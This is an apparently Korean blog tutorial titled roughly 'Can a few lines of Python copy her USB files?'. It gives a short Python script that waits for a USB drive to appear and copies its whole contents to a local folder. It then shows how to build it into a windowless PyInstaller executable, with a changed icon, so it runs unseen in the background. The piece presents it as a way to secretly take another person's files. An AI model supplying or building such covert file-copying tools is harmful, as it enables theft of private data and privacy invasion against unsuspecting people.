몇 줄 의 Python 코드 만으로 그녀의 USB 파일 을 복사 할 수 있 습 니까?

2702 단어 PythonUSB 파일
코드

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U    
usb_path = "E:/"
#        
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)
위 에 있 는 것 은 모든 코드 입 니 다.코드 는 두 군데 가 있 습 니 다.코드 에 주석 을 달 았 습 니 다.
  • usb_path 는 바로 U 디스크 의 부호 입 니 다.예 를 들 어 컴퓨터 에 C,D 디스크 가 있 으 면 U 디스크 가 꽂 힌 후에 경 로 는 E 디스크
  • 입 니 다.
  • save_path 는 복사 한 파일 을 어디 에 저장 하 시 겠 습 니까?
  • Python 파일 을 exe 로 포장 합 니 다.
    1.명령 행 에 pip 로 pyinstaller 패키지 설치
    
    pip install pyinstaller
    2.pyintaler 설치 실행 에 필요 한 windows 확장 pywin 32 다운로드mhammond/pywin32최신 버 전의 다운 로드 를 선택 하 십시오.해당 하 는 python 버 전(version)과 python 자릿수(bittedness)를 선택 하 십시오.
    명령 행 에 python 을 입력 하여 python 버 전과 자릿수 를 봅 니 다.
    다음 과 같이 python 3.6 의 32 비트 로 다운로드 가 필요 합 니 다[pywin32-223.win32-py3.6.exe]
    
    Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32
    다음 과 같이 python 3.6 의 64 비트 로 다운로드 가 필요 합 니 다[pywin32-223.win-amd64-py3.6.exe]
    
    Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32
    3.명령 줄 에 아래 명령 을 입력 하면 된다
    
    pyinstaller [opts] yourprogram.py 
    매개 변수 의미
    -F    포장 을 지정 한 후 exe 형식의 파일 만 생 성 합 니 다(이 인 자 를 쓰 는 것 을 권장 합 니 다)
    -D    Conedir 는 exe 파일 을 포함 하 는 디 렉 터 리 를 만 들 지만 많은 파일 에 의존 합 니 다(기본 옵션)
    -c    Cconsole,Cnowindowd 는 콘 솔 을 사용 하고 인터페이스 가 없 음(기본 값)
    -w    Cwindowed,Cnoconsole 사용 창,콘 솔 없 음
    -p    검색 경 로 를 추가 하여 해당 하 는 라 이브 러 리 를 찾 습 니 다.
    -i    생 성 프로그램의 icon 아이콘 을 바 꿉 니 다.
    실례 설명
    예 를 들 어 python 프로그램 이름test.py이 있 습 니 다.절대 경로[D:\project]는 exe 형식의 파일 로 포장 되 어 있 습 니 다.
    
    pyinstaller -F D:\project\test.py
    조건 이 같 습 니 다.콘 솔 의 블랙 프레임 이 없 기 를 원한 다 면 프로 세 스 에서 몰래 실행 합 니 다.
    
    pyinstaller -F -w D:\project\test.py
    조건 이 같 습 니 다.프로그램 아이콘 을 바 꾸 고 싶다 면
    
    pyinstaller -F -w -i D:\project\test.ico D:\project\test.py
    실행 프로그램
    마지막 으로 생 성 된 exe 파일 을 두 번 누 르 면 인터페이스 가 보이 지 않 지만 작업 관리자 의 배경 프로 세 스 에서 찾 을 수 있 습 니 다.USB 가 삽입 되면 설정 한 주소 로 자동 으로 복사 되 고 프로 세 스 가 자동 으로 종 료 됩 니 다.
    图片
    이 파 이 썬 코드 몇 줄 로 그녀의 USB 파일 을 복사 할 수 있 습 니까?의 글 은 여기까지 소개 되 었 습 니 다.더 많은 관련 Python 코드 복사 USB 파일 내용 은 우리 의 이전 글 을 검색 하거나 아래 의 관련 글 을 계속 찾 아 보 세 요.앞으로 많은 응원 바 랍 니 다!

    좋은 웹페이지 즐겨찾기